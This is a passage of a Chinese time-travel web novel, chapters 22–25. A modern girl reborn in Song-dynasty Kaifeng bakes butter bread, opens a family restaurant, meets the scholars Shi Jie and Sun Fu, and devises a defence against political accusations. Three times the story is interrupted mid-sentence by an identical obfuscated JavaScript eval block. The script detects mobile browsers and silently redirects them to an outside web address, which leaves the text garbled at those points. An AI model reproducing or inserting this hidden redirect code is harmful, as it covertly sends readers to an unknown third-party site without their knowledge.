厨房耳房的土窑火膛深处跃动着琥珀色的火苗，整个屋子弥漫着乳脂与麦香交织的香味。 "这黄油真个神奇，揉进面团里竟比猪油、麻油香上十倍！"青枣和大丫凑向窑膛，扑面的热气将她们的脸烘得红扑扑的。 西墙角的木桌上，吴悦正拿着羽毛笔在竹纸上涂涂画画。 没错，她成功复刻出了西方的羽毛笔，主要因为原材料容易获取。 只需要选择鹅的初级飞羽，就是翅膀外侧最长的羽毛，用温水轻柔刷洗去除污垢和寄生虫，再置于酒中浸泡一至两小时，溶解天然油脂，增强吸墨性。剪去羽毛末端蓬松部分后，将细沙加热，把羽毛根部埋入沙中十分钟，待硬化后取出。用小刀以45度角斜切羽管末端，形成类似现代钢笔笔尖的斜面，再在斜面上开出0.5毫米宽的墨水导流缝。 这样制成的羽毛笔可蘸墨书写，笔尖磨损后重新切割斜面即可继续使用，一支笔通常能削尖三到五次。 羽毛笔的构造当然更适合写西方的字母，但用于绘画和记事却十分实用。没有手机备忘录的日子可太难了，等你想写个什么，墨水磨好了，想写的东西全忘了。 她还特意用刘耘娘的胭脂盒改装成便携墨囊，可临时储存少量墨汁，每天就装在布袋里，随身携带。 而现在，她正依照唐代官修《新修本草》图谱，学着给身边的植被花草绘制图鉴，重点是突出根、茎、花全貌，图文结合描述形态与产地，让人一看就可以识别。 院子里的植被已经让她画完了，今日学着画制的是大丫城外采回的马齿苋，也称长命菜、长寿菜。相传东汉光武帝刘秀在南阳断粮时，因食马齿苋保住性命，便封它此等嘉名。 马齿苋在《新修本草》中也有记载，可当蔬菜食用。富含钾盐，有很好的利水消肿作用，也有丰富的胡萝卜素，能起到预防心脏病的作用，但脾胃虚寒和孕妇需要禁止食用。 将最后一笔画完，她于图侧工工整整写下此物特征及食用方法。 松了口气，吴悦终于腾出手来，活动活动有些僵硬的身子，也被甜香勾得抬眼看向另一边的土窑："这次咱们要看好时辰，可别又烤糊了。" "小娘子放心"青枣转身，发间发带也随着动作飘动，"这黄油做着如此麻烦，这次肯定能成。" 吴悦嘿嘿轻笑，黄油难做这倒是真的，尤其是大丫，大部分时间都是她完成的，别看她个头小，但是力气却一大把。 黄油需要通过击打从鲜奶上获取的上层乳脂，也就是鲜奶油获得。 19世纪前的欧洲，在没有齿轮机械搅拌桶的时候，家家户户都是拿自家的鲜奶用木制搅拌桶自制家庭版黄油，耗时两到三小时，加点盐冷藏可以保存3个月之久，是欧洲当时家庭妇女的日常劳作之一。 现在皇家的乳酪司产的供给皇家乳制品中的酥油，并不是后世的黄油，而类似于后世的无水奶油，是将牛乳或羊乳煮沸后静置，将表面凝结的脂肪层（类似现代奶皮子）反复收集、熬炼，最终得到半固态油脂，制作工艺复杂，还不便宜。 市井里也有人加在面团里来增加面点的酥脆分层，叫油酥饼子，吴夏还特意给她买过。 22. 第 22 章 在这个时代，制作黄油所需要的牛奶可不好找，1斤黄油需要约5升全脂牛奶，中原地区常见的黄牛以及南方的水牛，都是耕地役用，只能在哺乳期短暂取奶，可以全天候挤奶的奶牛也要等到19世纪才会被西方的商人通过商船从美洲引入中国。 但是羊奶却是一点都不缺，做出来的羊奶黄油的脂肪含量比牛奶黄油还要高，且更好帮助人消化，很适合乳糖不耐的国人使用。唯一的缺点就是微膻带点坚果香，不过如果拿羊奶黄油做坚果包，岂不是把坚果都省了。 “这次成功了，咱们就每天烤来吃，吃了这个还能不得鸡盲呢！”吴悦有些得意。 鸡盲就是夜盲症，在昏暗环境或夜晚会视物模糊、行动困难，甚至完全失明。她也是因为发现大丫最近身上总是会有磕碰的痕迹，一问才知原来是夜晚回家看不见路导致。这才开始回忆，如何能够治疗这夜瞎子之病。 宋代人不怎么爱吃乳制品和动物肝脏，这就导致严重缺乏维生素A。而且古代也没有冰箱，烹饪方法喜欢靠煮，这都会加速维生素A的流失。除了维A，羊奶黄油还富含B12，这还能帮助红细胞生成与预防贫血。 吴悦一直想让家中的几位女性长辈多食用羊奶制品，但是她们总觉得腥，不愿意多吃。 “真的？”大丫震惊，她每到晚上就不爱出门，看不清楚路，只能摸索着前进，摔了好多跤。 “那当然，这可是饱含维生素A呢。” 大丫听不太懂，脸颊一红，嘟囔着：“还是读书多的好，以后小娘子看的书也给我们讲讲。” “好呀，以后咱们每晚再多学两个字，保证半年下来，你和青枣一样，都能看懂戏单上说了什么。” 青枣是个戏文发烧友，永嘉的杂剧最近风靡汴梁，她存下来的钱都跑去听戏了，甚至还想拉着大丫一起去，但是大丫拒绝了，她想多照顾还在襁褓内的妹妹，好让娘亲和阿婆能够多休息会。 这时，窑内突然传来"噗嗤"声。 "成了！"青枣手忙脚乱刚想打开窑膛，却被膛口冒来的热气吓的后退了几步。过了一会儿才用干净的棉布兜着几个热烘烘的面包跑来。 吴悦拿过一个，迫不及待的撕扯开，乳白的蒸汽裹挟着麦香与坚果香喷涌而出。迫不及待咬下一口，内里的组织虽然没有后世所吃的，如云朵般蓬松，但是黄油的乳脂香还是在口腔里舒展。 “走，给阿娘和阿婆尝尝！” 刘耘娘捧着一块热烘烘的面包，倒是有点诧异女儿居然真的做出来个看样子还不差的吃食。 小小的掰了一块放入口中，味道居然还不差？又连着吃了好几口，居然把整块面包都吃完了。“不甜，想卖出去就得淋点蜂蜜或者夹一些果脯，做的好看精致一些，你们这个整的形也太丑了。” 吴悦表示不服，对小孩子要求为什么高。 “青枣和大丫已经很努力了！阿娘你又不让王婆帮我们！” “味道倒是很特别，吃起来松松软软的，各家的老太君或者小娘子应该都会喜欢。如果要卖，东京人更嗜甜，蜂蜜、果脯都要准备着，还可以弄着果酱涂着吃。”吴王氏也同意儿媳的意见。 “我可没打算现在卖这个，黄油做着比猪油麻烦多了，这个是专门做了给咱们家自己人吃的，你们又不喜欢羊奶的腥味，这样加在面团里，是不是就吃不出来了？”她还在想办法让家里这几个女性长辈多吃点羊奶制品。 古代资源匮乏，当下的饮食偏好让她们已经鲜少摄入肉类，就喜欢吃面条和饼，不然就喜欢吃一些甜的腻人的果脯和点心。这样单一的饮食结构只会导致她们营养不良，蛋白质不足，容易在老年时引起肌肉无力，缺钙又会导致骨质疏松，容易骨折。 “而且食店即将开张，哪有闲心教他们新技法，这些好东西咱们就先留着自己吃。” 食店取名"吴氏酪香"。开在官衙对面，店名当然要显得雅致。也已经找人算过日子，吉时就在三日后。 吴悦早已经把开张帖送给石介、何群以及吕希哲了。上云：“谨择十月廿日吉时，吴氏酪香开张，现烤酥饼，慢炖香肉，现制酪奶，诚邀光临品鉴”。还特意说明可以邀请亲朋好友同往。 刘耘娘也给大女儿送去帖子，却特意叮嘱："开业那日人多杂乱，你身子不便就留在家中，让姑爷前来就可以。"算算日子，吴丽娘身孕已快七个月，家中上下皆不敢让她随意走动。 吴悦也特意遣大丫时常送去用羊肉臊子与奶酪作馅制成的胡饼，希望为姐姐和她腹中胎儿增添营养。羊肉富含动物蛋白，奶酪则含浓缩乳蛋白，二者互补可形成"完全蛋白"模式，既促进胎儿组织器官发育，又能预防孕妇缺铁性贫血与胎儿骨骼钙化不足。 吴父则遍邀自己交好的同僚和上司，众人都纷纷表达要来捧场。 眼看着开业在即，这两天全家既兴奋不已，又隐隐担忧。 担忧什么？ 当然是担心食店无人问津。 不过现在看来，这担忧是多余的——店内早已座无虚席，眼见没位置，有些人只能点了一个炙肉双麻饼，外带一份酪浆琼果盏。 这倒不是他们家找的托儿，实因这红烧肉的香味四溢，老远就能闻到。 装修时，刘耘娘采纳了女儿的建议，在入口处设置了两个展示橱窗，现场演示炙肉双麻饼的制作过程和酪浆琼果盏的制作过程。起的就是沉浸式美食制作的效果，因为美食制作过程中的色彩对比（比如金黄酥皮和绵密奶泡）、动态变化（面团延展的以及麻薯的拉丝）能够直接刺激视觉皮层，触发大脑多巴胺分泌，产生愉悦感，让人欲罢不能。 看见那剁肉时汁水四溢，闻那酱油与肉脂交融的馥郁酱香，听着那刚出炉麻饼被切开时的脆响，把一众食客的口水都馋的要流出来了。若想添加香菜和葱，或搭配酱瓜、五辛酱（由葱、姜、蒜、韭菜、茱萸等辛香料混合而成），均可按需自取。 酪浆琼果盏的摊位前也是同样热闹，帮厨用细腻柔滑的酸奶打底，撒上的梨条、枣圈、桃圈，再淋上蜂蜜，一碗原味酪浆琼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609437|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果盏便告成。若想变换口味，还有六七种果酱供客人选择。酪浆琼果盏是个季节性美食，天冷后销量肯定锐减，不过还有糖霜圆饵、酪香糍团、麻膏甘饴供人选择。 穿过橱窗展示区，就是被镂空雕花木板隔成的若干独立空间，内部放置着可以坐两人或四人的桌子，桌子上摆放图文并茂的菜单，菜品旁附有实物图谱，便于食客直观了解并点餐。 再往内走，就是后厨，非店内人员不得入内。 毗邻后厨的楼梯通往二楼，其上设有3间包厢——2大1小，供预定的客人使用。小包厢虽处二楼边角，房型不规则且窗户最小，却拥有绝佳视野，甚至能看到开封府衙门口的人流动向。 此刻，小包厢内坐着吴悦与石介，吴夏则在隔壁大包厢招待何群、吕希哲。原本五人同在大包厢，但是吴悦一看到吕希哲就找了借口出来，来到了隔壁小间。 过一会，石介也从隔壁过来了。 石介端着一碗原味的酪浆琼果盏，吃的正是畅快。 而吴悦，素日在家里已经吃够了，加之已入深秋，天寒地冷的，作为女孩子应该保暖了。此刻正吃着麻膏甘饴，也就是芝麻糊糍粑，还特意添加了别的小料，加了一些鲜奶和红枣。 两人吃的是大快朵颐。 忽然听到楼梯处传来脚步声，一苍老男声问道："徂徕可在？" 石介忙搁下碗盏，立刻起身就去开门，吴悦紧随其后。出了房门，就发现隔壁几人听到声音也都出来了，与阶前老者揖礼不迭，齐呼："富春先生"。 来者正是孙武第四十九代孙、"宋初三先生"之一的孙复。 他父亲早逝，其人重义理而轻传注，导致科举四次落榜，然后专心于讲学授徒近20年。虽家徒四壁却安贫乐道，拒受权贵资助，唯聚书满室。 后经范仲淹和石介联名举荐后，以白衣入仕，官拜秘书省校书郎、国子监直讲。也就是说，如果吴夏勤勉攻读，这就是他在太学的老师。如果不努力，这就是他在国子监的老师。这位泰山学派宗师除掌教国子监外，还在太学任教。 只见孙复虽身形清癯，却精神矍铄，与吴夏、吕希哲两人温言相询最近在读些什么书，就放他们回屋了。 石介将孙复引入小包厢，吴悦也郑重其事的对孙复行大礼参拜。 孙复端详了吴悦片刻，才笑着对石介说："听你说起这位女弟子很久了，今日才得此一见啊。” 石介抚髯应道："这不是因为明富你身兼国子监与太学教职，每日讲学论道，实在难以抽空得以相见。今天也是凑个机会，学生旬休，你才空出时间，能到外面走动走动。” 孙复喟然长叹："非老夫不欲外出，还不是因为不想再授人把柄，少出来点就能少惹人生厌点。” 他指的就是宋仁宗前些日子到太学巡视，赐他绯衣银鱼，并有意擢他为侍讲。然此举招致台谏官群起反对，仁宗只得作罢。 孙复也深知自己已为众矢之的，行踪就愈发谨慎了起来，除授课外就足不出户。 23. 第 23 章 侍讲是皇帝身边的高级学术顾问与经筵讲官，主要负责为皇帝讲解儒家经典、历史典籍及治国之道。可以结合时政向皇帝提出治国建议，参与讨论朝政、礼制改革等重大议题，然后借此影响皇帝决策，是士大夫群体与皇权沟通的重要桥梁。 侍讲也很看重资历，必须由进士出身且经宰执荐举、天子亲试后才可以授予。 孙复一介白衣，四次科场铩羽，还是皇帝巡幸太学，偶然遇到交谈后认为有大才，意欲破格拔擢。此等逾制之举，简直就是在掌掴朝堂衮衮诸公的嘴巴子。 换作别朝的君主，还可以强行下令。 但是宋仁宗素来宽仁，也就是说他耳根子极软，闻得台谏来势汹汹，且说得挺有道理，就退缩了。他是史上公认的立场不坚定，及其容易被影响，反而令孙复陷入两难之境。 “接到你的邀约，世昌本也想来，但是他刚拜同平章事，出入干系重大，太扎眼。于是就我来代替他，还有那几个出了京的老友，来见见你夸的天上有地下无的女弟子。” 吴悦正自忖"世昌"所说何人，就猛地听到自己被点名，慌忙正襟危坐。 “哈哈哈哈，我就没想着世昌能出来，下次有机会再说。”将手中菜单递了过去，石介说，“这是店里的手绘食单，还有图片示例，看看你想吃什么，今日的美食就让你我先来鉴赏一二了。” 孙复接过后略微翻了几页这看着很是精美的绢帛食单，指尖在"肉菌陶釜香饭"处驻足，念道："慢火细烹，琥珀珍馔，甜咸相济。”又翻了几页，看向后面的饮子，复又翻回来，“就这个了，肉菌陶釜香饭，再加一个荔枝膏的酪浆琼果盏。” “那我来一份香酥哨子汤饼。”石介接过菜单，翻了几页，也随意的给自己点了一个。 楼上因为是自己人，就没有行菜上前服务。吴悦就充当了这个行菜，哒哒哒哒哒的下楼去厨房传话。 顺便偷偷瞄了眼店里的客人，发现有不少人排队正等着买炙肉双麻饼，而她娘则在账房处喜笑颜开地看着账房先生记录账簿。 又等了一会，感觉时间差不多了，已经给两位先生充足的谈话时间，她才跟着端菜的堂倌一起上楼。 她给自己点了一份炙肉双麻饼，虽然这等小吃，要用双手拿着啃食不太雅观，但是她现在还是个小孩子，稚子何其可爱，又有什么关系呢。 肉菌陶釜香饭其实就是煲仔饭，这个做着也简单，用猪油涂遍锅底，倒入浸泡三十分钟的大米，加清水将将没过米饭，大火煮沸后转小火焖10分钟。开盖码入腊脯，中间打入鸡蛋，沿锅边淋一勺猪油，继续焖5分钟。再关火焖3分钟，开盖铺青菜、淋酱汁、撒葱花，拌匀即可。 香酥哨子汤饼就更简单了，水沸后下面条，煮至八成熟捞出过凉水。另起锅煮面汤，加一勺猪油、盐、葱花，碗底放面条，浇上炼制猪油得的脆哨和软哨，淋上面汤。煎两个荷包蛋码放，撒胡椒提香，旁边还放着一小碟五辛酱可以自行调制。 这两个现在都算创新菜，吴悦先在家中尝试给家人品尝，经过她们的认可后，才加入菜单当中。 现在看石介和孙复的反应，虽然刚开始拿到时他们俩人也觉得有些无从下手，但是吃饭的过程中反馈很好。 吴悦这就放下心来，她就说嘛。猪肉那么好吃，怎么能不吃猪猪。而且她们打的招牌就是这些猪猪都是饲料养殖，可不是那养在茅厕旁的！ 待三人酒饱饭足。 桌上的残羹都被撤去，又端上一副茶具与新沏的香茶。 吴悦起身执壶，恭恭敬敬地为两位先生添茶。 孙复轻轻抿了一口茶汤，开口问道："我刚刚误去了后院，发现有一独眼目盲之人，正在劈柴烧火。还有一独腿汉子，坐在椅上揉面。这俩人莫非都是令尊昔日旧部吗？” “是。”吴悦正襟危坐，脊背挺得笔直：“这两位叔伯都是在与西夏作战时负了重伤，转为剩员。虽说朝廷按月发放半俸，但他们家中人口众多，幼小儿女尚需抚育，仅靠这点俸禄难以维持生计。再者，他们身有残疾，外出谋事常遭白眼，惹人厌恶。家父想后院僻静，不会惊扰客人，便让两位叔伯在此做工。这两位叔伯惊扰到先生您了吗？” “如此说来，店中所见之人皆为令尊旧部及其眷属？”孙复并不回答，反而挑眉继续追问。 “正是，除了账房先生。” “贵府不往牙行招募人手，反而招揽旧部及家属，莫非是在埋怨朝廷对因伤致残士卒的安置举措不满？”孙复本正将茶盏举至唇边轻啜，听闻，忽然重重的将茶盏搁在案几上，把吴悦惊的身躯一颤。 “哎，干嘛这样吓唬我弟子。”石介白了孙复一眼，转而温言道：“富春先生不过是转述将来市井会有的流言，你宽心作答便是，莫怕。” 吴悦定了定神，忽然觉得这话说得古怪。她爹只是个七品武官，兄长尚在寒窗苦读，也没有考取功名，怎会有人刻意寻衅滋事？ 突然，她猛地恍然大悟，站起身来朝孙复深鞠一躬，感激地说：“谢先生提醒。” 孙复呵呵一笑，继续追问：“你将如何作答呢？” 石介常夸他这女弟子聪慧过人，有曹冲之智，今日便让他考考。 这确实是个棘手难题，雇佣伤残士兵，可能被曲解为收买人心，甚至暗示他们家对朝廷安置政策的不满。而且，身为七品武官开设商铺，也会有与民争利的嫌疑。 宋朝初年即明令禁止官员经商，但是因冗官俸禄不足、军费压力巨大及财政需求等因素，朝廷对官员经商长期采取默许态度。官员经商也可以涉及盐茶专卖、放贷租赁、海外贸易等诸多领域，甚至存在利用职权垄断资源的现象。军队将领经商尤为突出，成为补充军费的重要手段。这种表面禁止、实际放任的状态下，只要不被检举揭发，往往相安无事。但是朝中有人会因为政治斗争，而借"与民争利""官商勾结"等罪名攻击政敌。 孙复与石介经历朝中一系列政治倾轧后，对这类阴鸷手段早已司空见惯。他俩甚至置身于这个政治斗争旋涡的中心，一批守旧官僚正试图将改革派彻底击垮，永世不得翻身。这些政敌深谙"薄皮去骨"之术，通过打击他们的亲属门生、故旧师长，渐进的系统性的解构整个革新阵营。这种看似温和的攻势，实则暗含斩草除根的狠戾。 作为石介的弟子，吴夏自然难逃此劫。只需指控其父对朝廷伤兵安置政策心怀不满，再揪住其身为官员却违禁经商、与民争利，便能通过扳倒吴夏和他父亲，进而攻击石介所收门生是国之蛀虫，对官家不忠，而身为石介举荐人的范仲淹亦难辞其咎。 门生对君主怀有二心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609438|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师长焉能独善其身？那你身为举荐人也是不忠不义之徒。由此便能将整个革新派污名化为表面大义凛然、实则结党营私的奸佞集团。待改革派羽翼尽被剪除，政敌便可从容发动致命一击，彻底终结革新事业。 想到这里，吴悦骤然苍白，指尖无意识地攥紧了袖口。 她的思绪如飞梭般转动，回顾历史，在记忆长河中搜寻着是否有可以借鉴的先例。 终于，想起来这么一个人。 前礼部尚书，尚书省左仆射张咏，此人在任崇阳令时，曾亲自酿酒售卖以补县衙开支，被弹劾“与民争利”后，他以"价格仅为市价三成，实乃便民之举"的辩词获得士林赞誉。 “首先，当务之急是去官府备案，”她的思路慢慢清晰了起来，"向枢密院兵籍房呈递《退役兵丁雇佣名册》，表明他们都是自愿解甲归田者，而不是领取半薪的剩员。也会让两位叔伯将之前所领的半俸归还。” 这番举措暗藏三重玄机：通过在官府那里留底，将雇佣行为纳入合法监管体系。以"自愿解甲归田"的表述，强调这些人的平民身份，切断与蓄养私兵的联想。归还多领半俸的举动，表示他们奉公守法，消除"贪墨军饷"的指控空间。 “其次，我们会定制一个报国堂的匾额，配楹联书「卸甲犹存忠义胆，烹鲜不忘圣君恩」。” 元祐年间，苏轼在杭州成立育儿会，私设机构收养弃婴，也在外面特意大肆宣扬「此陛下天地父母之德」，就是为了规避越权。在赵宋天下，万民皆为天子御下，除了皇帝没有任何人可以越过皇权去安置百姓，否则这就可以等同造反，在沾惹皇权。需要表明态度，任何善举都当彰显皇恩浩荡，而非私德彰显。 也就是说，我们臣子是因为想为官家分忧解难，才雇佣了这些退役士卒，他们应该对官家感恩戴德，而不是我们吴家。 “最后，如果朝中出现弹劾，应对应该迅速，不能任由流言扩散。将商业行为转化为彰显朝廷仁政的忠义之举。并立即上《请罪疏》称：臣其愚钝，妄解圣意私恤袍泽，虽出至诚实违体制，伏乞削职以正纲常。” 利用宋仁宗公认的宽厚性格规避严惩，朝中其他大臣也不会愿意背负「惩处恤兵者」的恶名。也就是说，要在这场舆论战中将自身置于「皇权延伸」的道德高地，才能在政治斗争中化险为夷。不能表现出一丝的私心，必须是为天下为公，虽说方法有点小偏离，可是我们的出发点是好的。 把脑中所想的应对之策一一说明，吴悦仍觉惴惴难安，她对这个朝代还是不够了解，主要是对古代皇权的至高无上还没有太大的感触。 现在回忆起，难怪之前姐夫的香料店开不下去，没人敢来买，生怕被揪住小辫子。她本身想香料店那是面对勋贵人家，确实容易被弹劾奢欲无度，她们开个食店，面向市井百姓，谁知道这还能出篓子。 不由得暗自叹息。 主要也是她爹心善，不忍一起征战的兄弟们食不饱腹，将十余名旧部眷属尽数安置店内。若当初只雇佣一两名伤残士卒，或许还能以"念及袍泽"遮掩，如今这般大规模安置，落在有心找茬人眼里，不就是授人以柄，理都没出说。 哎，终究是太过天真了，以后每走一步都要更加谨慎。 这个朝代，一不小心，就会把全家送去大牢里的。 24. 第 24 章 吴悦在那边有点抑郁，像阴雨天中悄然滋生在角落里的菌菇。也有点小气馁，对政治斗争的残酷性还是没有做好充足的准备。 孙复却惊得瞳孔骤缩，目光在她与石介之间往复逡巡。似乎在确定，这真的是个六岁女童在瞬息之间想出应对之策吗？不得不暗自忖度，若非是石介提前教的？ 石介看出孙复疑虑，摇了摇头，表示这确实是人家自己想的。他也是刚刚才知道店中实情，确实也有些担忧，还没有来得及说，孙复就先问了出来。 得到否定的回答，孙复望向吴悦的目光愈发复杂，这等急智若生于男子，科举入仕必能成就一番伟业，偏生是个女儿身。 不过，他忽又想起自家情况，他结婚晚，40岁才得宰相下嫁侄女为妻，今年52岁，儿子才11岁，这不是刚好可以聘为儿媳吗？若能有这样的儿媳，孙辈的资质岂不是... 念头至此，他不动声色地看了眼身旁的石介，还好他结婚早，儿子已经20，没机会了。 想了想，他打算给儿子制造点机会，起码展示下好感。 “听闻你只有上午在石介处念书，既然下午闲暇无事，不妨来我这里拿些太学直讲的讲义来看。你也可以将讲义给你兄长，他明年便要考取太学，可以趁早做些准备。”对人好，就要对她哥好，拉拢她的家人。 吴悦一听大喜，这等于说是你想考研究生，就有教授特意给你辅导面试。 但是她还是偷觑了眼石介，发现他也未有异色，当即一口答应：“谢谢富春先生。” “你以后可以每十天的旬休日来”孙复呵呵笑道，“届时诸生皆放假回家，我也会在家。”他儿子当然也会在家。“你且记下我家地址。” “是” 吴悦赶紧的从放在一旁的青布小书包里掏出笔墨纸砚，腾出桌子的一小片空置地方，摊开竹纸，磨墨，蘸墨。 “离此地不远，乌衣巷西头第三家，青瓦白墙，门上悬挂着孙宅两字。” 她知道这条巷子，和开封府后巷相通。 自半年前全家迁居东京，吴悦就画了一张东京城内城的平面图。当然，皇城和外城尚留白待补，因为没去过，无从下笔，但是内城却被她描绘的十分详细，每日下课后，她都会喊张阿牛走一条不一样的道路回家，用随身携带的羽毛笔快速绘画，并记录街道两边的店铺和巷子。 地图能带给她安全感，在后世，没有高德，她开车都各种迷路。 现在这张藏在她屏风后面的地图虽然还很简略，却已标注了枢密院、御史台等中枢衙署，御前禁军左右厢驻地，和一些大臣的府邸。还有就是她喜欢吃的酒楼、食店、以及糕点铺，以及一些日常生活所需的杂货店铺，比如说马行、铁铺、木匠房。 日后当然还需要继续完善地图，标明内城各门出城的最佳通行时段，遇阻时可绕行的羊肠小巷等。而且，哪些重臣宅邸毗邻而居，这种地理关联说不得也暗含着政治同盟。哪里可以直通汴河漕运码头，如何可以快速通过河道运出货物，甚至运出活人。 咦，孙复看着吴悦的字。 不对，再确认下。 又靠近了瞧，还真是阁台体。 他转头看向石介，目光中暗含质询：你教她习科举和官方文书专用的阁台体干吗？ 小娘子不应该学些簪花小楷吗？这般端肃字体，莫不是以后还让她代笔上疏？ 石介简直和孙复心有灵犀，不愧是多年好友，双手一摊表示与他无关。“这是她兄长启蒙的，吴夏当时恰好在南阳县学我族弟那求学。”言下之意，这也不是他教的。 这字体一练好，改起来也很是费劲。反正都是自家人看，闺阁书写之物也不会传到外面来，无伤大雅。 啊？ 捧着墨迹未干的笺纸，吴悦有些摸不到头脑，又看向自己面前的字。 记得石介不是夸她写的字方正雍容，有儒家中正平和之风吗？ “这张我先拿走，小娘子你可以再写一张。小娘子这字比我那11岁的儿子写的都好，拿回去给他看，羞他一羞。”孙复立刻将墨迹未干的笺纸收入袖中，无视了石介那我似乎看透了什么的眼神。 “好的。”吴悦依言又写了一份，这次可没人抢了，立刻折叠了放入自己的小荷包里。 “走了。”石介冷眼瞧着，忽将饭钱拍在案头，起身朗声道："时辰不早，该回府了。" 他径自推门而出来到隔壁，喊上自己的三个男弟子，一齐走下楼，将吴悦塞给她娘，一行人拥着孙复登车疾驰。 “徂徕先生怎么走得这般匆忙？”刘耘娘放下手中算筹，低头问抱着小书包的女儿。 “不知道啊，忙着回去给哥哥上课吧。”她也不知啊。 “娘，爹呢？今日不是也有同僚好友要来吗？怎么没见爹爹？” “你爹听说中午徂徕先生要来，就把包厢让你们先用，他晚上再来招待同僚。” 吴悦哦了一声，这很合理，互不打扰，文武本来也很难尿到一处。 “娘，我要回去读书了，你先遣人送我回去。” 对朝廷律法知之甚少，这样可不行，容易拿后世的经验理想当然。记得她哥书房有一套《宋建隆重详定刑统》，这就搬回自己屋里认真研究。 当日夜里，因为心中有事，吴悦难得睡得很晚，陪着刘耘娘候在前厅，直到子时三刻才等到吴父醉醺醺的回来。 本想帮着她娘给她爹喂些蜂蜜水醒酒，谁料汤勺刚凑近唇边，醉态十足的吴父竟突然坐直了身子。身上酒味虽大，眼神却清明如炬，酒醒的这么快？ 吴悦不由得暗自腹诽，怕不是装作喝了实际上酒已经倒了吧。 “你个小丫头看不起你爹。” 吴军一看女儿眼珠滴溜溜转，便猜出她的心思，“你爹戍边二十余年，边关缺水断粮时，都是靠酒饱腹的，连辽军的马奶酒抢过来也照喝不误。这东京城内的酒闻着香，但是后劲太小了，喝起来跟喝水似的。也就是骗骗那群士人，和养在深宅大院、富贵乡里的将门子弟。” 哦，她瞬间心领神会。吴军当然也不笨，知道喝多了管不住嘴容易失言，故而一路装醉直到跨进家门才卸下伪装。 “爹爹爹”想起来中午席间的事，吴悦忙不迭将与孙复的对话原原本本复述一遍。 富春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609439|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生孙复的名号，近日在京中也算如雷贯耳。吴军身躯一凛，面上浮起郑重之色。 “为父知道了，接下来的事你就莫管了，好好跟着徂徕先生读书。旬休时去富春先生府中时，让你兄长送你。”刚好也能让富春先生指点一二，吴军美滋滋的想。 这天下现在的三位大儒，有两位都教过吾儿，待吾儿他日位列公卿，谁还敢瞧不起他吴家寒门小户。 “下个月十五，你随我们一起去五岳观，今天有小道童来传话，长生禄位的供奉仪程已定下，过几日观里会差人送来仪礼清单，你与你娘准备好所需之物。” 吴军又转而望向妻子说“以后店铺那边。每日有空去巡视一番就好，也不用天天在那边耗着。既然选定了账房和管事，就当给他们信任。咱们店里都是自己人，有的是眼线。” 刘耘娘颔首称是："我已将三账分理之法讲给账房，以后收入、支出和库存各立一册。而且后厨也有王二郎，他识字能书，每日都会登记食材的库存清单给我，月底自会将两份账目核对清楚。” “时辰不早了，你也快回房歇息。"像拎小鸡仔一样，他拎着吴悦回到她屋内。"不是常说晚睡长不高？" 把女儿塞进被窝，吴军又在庭院巡查一番，这才解衣就寝。 ------------------------------------------ 接下来的日子平淡无奇，渐入深冬，晨雾都裹着砭骨寒意，吴悦总觉得脖颈处有冷风钻进来。 喊大丫去河边，捡回来些大的鹅卵石，洗干净后，在晚间烧灶做饭时时，将石子码进灶膛灰烬中。待灶火渐熄，再用火钳夹出滚烫的石子，裹进旧的棉布袋中，塞进被子中充当古代版的热水袋。 这样等入睡时，被窝也不再冷的像冰窖。 但是每次望着炊烟袅袅从厨房升起，吴悦总觉可惜，不会垒东北的暖炕，浪费了很多灶火热量啊。 不过垒个国外常用的大壁炉应该还是可行的，回忆起参观中世纪城堡时，看到的那种巨大石砌炉膛，既能取暖又可烹煮。 可她转念一想，又自嘲道，这汴梁的宅子都是木质结构，真在房间内有个这样的大壁炉，整个屋子都能燃起来。 北宋从皇家宫殿、官邸府院再到民居，都是用木头搭建的主体结构。她家这个墙是青砖实砌的，大丫他们住的就是夯土墙，但是这也经不住火烧啊。 据《宋史》统计，东京城年均发生火灾1.2次，天禧四年（1020年），耗时14年建成的拥有2610间建筑的玉清昭应宫，仅用一刻钟便化作焦土。靖康之变时，金兵也围城纵火，导致外城焚毁过半，直接导致东京保卫战失败。 尽管现在已经有了先进的防火巷，也就是全砖石结构砌筑墙体来隔离火势，但是现在全城建筑还是砖木结构占主导。 也只有在经历了靖康围城大火后，赵氏皇帝和大臣们才痛定思痛，意识到要推动建筑革新。 南宋临安城才会出现"砖石为墙，瓦顶覆之"的新型民居。 真是不吃板子不长记性。 吴悦又一次感受到有点绝望。 25. 第 25 章 还没到十二月，夜间的气温应该已经将至冰点。 每日早上起来，都能发现院内的青石板上凝着一层白霜。即便正午日头高悬，北风掠过，仍感到砭骨寒意，前天甚至下了场初雪，天气愈发反常。据大丫说，她陪路伯外出买炭时，发现市集炭价已较往日上涨两成。 